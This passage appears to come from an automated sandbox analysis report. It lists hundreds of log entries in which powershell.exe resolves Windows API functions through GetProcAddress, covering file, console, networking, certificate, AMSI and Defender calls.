GetFileAttributesW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisibleW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetNetworkParams (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnections (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnectionsW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WSASocket (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter setsockopt (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WSAEventSelect (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter ioctlsocket (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter closesocket (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter FormatMessage (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotification (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotificationW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RegOpenCurrentUser (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RegNotifyChangeKeyValue (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpen (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpenW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandle (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandleW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeouts (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeoutsW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetIEProxyConfigForCurrentUser (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrl (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrlW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter ResetEvent (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WSAConnect (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WSAEnumNetworkEvents (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter bind (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter EnumerateSecurityPackagesW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter FreeContextBuffer (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter FreeCredentialsHandle (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter AcquireCredentialsHandleW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter DeleteSecurityContext (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter InitializeSecurityContextW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter QueryContextAttributesW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CertCloseStore (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStore (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStoreW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStore (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStoreW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateChain (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStore (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStoreW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStore (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStoreW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChain (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChainW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChain (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChainW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicy (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicyW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetLastError (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter EncryptMessage (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter DecryptMessage (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter recv (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter select (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CancelIoEx (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateAssemblyNameObject (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateAssemblyNameObjectW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CoGetObjectContext (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateAssemblyEnum (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateAssemblyEnumW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WldpIsDynamicCodePolicyEnabled (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptor (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptorW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateDirectory (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateDirectoryA (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandleW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentStrings (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentStringsW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter FreeEnvironmentStrings (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter FreeEnvironmentStringsW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateProcess (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateProcessW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CryptAcquireContext (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CryptContextAddRef (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CryptCreateHash (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CryptHashData (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CryptGetHashParam (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CryptDestroyHash (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleA (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter malloc (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MI_ApplicationWrapper_Initialize (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MI_Application_InitializeV1 (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MI_Helpers_SetClrIsNotShuttingDown (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MI_Helpers_GetCurrentSecurityToken (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_Initialize (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeInstanceCallback (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeWriteMessageCallback (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeWriteProgressCallback (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeWriteErrorCallback (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_SetupDrainingIfNeeded (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentThread (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetThreadToken (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_ScheduleDrainingWorkIfNeeded (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_DecrementCount_AndDontWorryAboutLifetimeOfMiDotNetDll (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter free (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_SessionHandle_OnReleaseHandleCompleted (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetNamedSecurityInfo (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetNamedSecurityInfoA (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RemoveDirectory (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RemoveDirectoryW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateMutex (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateMutexW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SysAllocStringLen (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SysAllocStringLenW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SysFreeString (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RtlZeroMemory (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SysStringLen (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SystemFunction041 (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter 